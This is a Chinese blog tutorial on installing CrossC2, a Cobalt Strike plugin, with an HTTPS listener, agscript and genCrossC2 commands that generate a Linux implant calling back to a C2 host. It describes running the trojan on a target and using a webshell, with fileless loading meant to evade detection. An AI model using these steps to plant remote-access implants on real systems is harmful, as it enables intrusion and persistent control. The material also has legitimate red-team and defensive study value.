0x01 前言
Cross C2是一个支持Linux & MacOS系统的拓展插件,支持用户自定义生成的动态库,以无文件落地的方式从内存中加载执行动态库或可执行文件。用法我的想法来说,相当于一个小集群,插件化方便利用,实际的渗透中意义并不大,更加实际于命令行渗透,做到无文件落地,过流量检测加密免杀等技术的研究。
简而言之:一个CS的简单小插件,目的就是上线Linux主机, 可做一些简单的操作,记录一下使用过程中遇到的一些问题,并且在使用中操作的正确性。
Cross c2支持架构说明:
0x02 创建监听器
通过文章的学习,了解到 Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听
Cobalt Strike -> Listeners -> Add
0x03 CrossC2插件的安装
首先:
server端,我们上传两个插件文件:
CrossC2.cna 和 genCrossC2.Linux,
并且在服务端加入命令执行的权限 chmod +x FileName
这边需要注意一点,对CrossC2的process路径的修改,一定要改到server端的绝对位置
当然,我看到网上说,通过 用nohup命令将CrossC2.cna添加到服务端插件中 ,我这边自己测试是没用任何用处的,因为你不设置,也同样可以上线,这里还是把网上说的留给大家,自行测试
nohup ./agscript [host] [port] [username] [password] CrossC2.cna &
其次:
这边介绍到Windows下GUI的操作,这里的主要操作就是在Client端进行插件的安装,讲cna文件集成到插件里面去,并且通过Client端进行重启,就会在导航栏呈现CrossC2的这个选项,但是本人测试,并无卵用,因为时间问题,也没有继续深一步思考,这边一样把操作图留给大家,也希望大家有任何问题在下面进行留言,互相学习进步
这个GUI没时间搞,先到这里
0x04 安装JDK1.8环境
这里就不多说了,借鉴网上大佬写好的,也没有测试,命令放下面
Centos7命令直接安装并自动配置环境变量 (没测试)
yum install java-1.8.0-openjdk* -y
查看java版本号,并且查看是否安装成功,这边还是推荐java 1.8版本
java --version
0x05 生成可执行文件并上线Linux
[usage]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName] -platform 'MacOS' / 'Linux' -arch 'x86' / 'x64'
[ex]: ./genCrossC2.Linux 127.0.0.1 12345 null null Linux x64 C2
我这边使用Kali做演示机器,进行上线,首先将生成的木马文件放入到目标服务器–>运行权限的赋予–>运行–>上线,这是大体的流程
简单命令的操作演示:
看到老描述,可以运用到webshell中,但是碰巧遇到一个报错执行不了,是因为glibc动态库版本的问题
查看当前glibc动态库版本
strings /lib64/libc.so.6 |grep GLIBC
虽然存在libc.so.6,但是调用的动态库版本不一样,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17
所以解决方法是去官方:http://ftp.gnu.org/gnu/libc/
下载对应版本库 -> 解压 -> 进入目录 -> 编译 -> 安装
但是覆盖或者升级动态库的后果可能会比较严重,这里就不继续了
0x06 总结
2020.7.11 ,心烦,做一些自己力所能及的事情,做个人一定要实际,我始终还在看到那些0工资,每月花呗负债好多的人,就感觉难受想要发火,两个人的付出是互相的,不是经济差距,而是我看不懂你这种经济 消费手段,生活呀,且行且珍惜!CS之CrossC2的文章到此结束,带着不高兴的状态写的,终归心里还是不舒服,慢慢在改变自己的心态,放松,放松,relax,relaxing……
转载请注明:Adminxe's Blog » 关于CS上线Linux主机(CrossC2)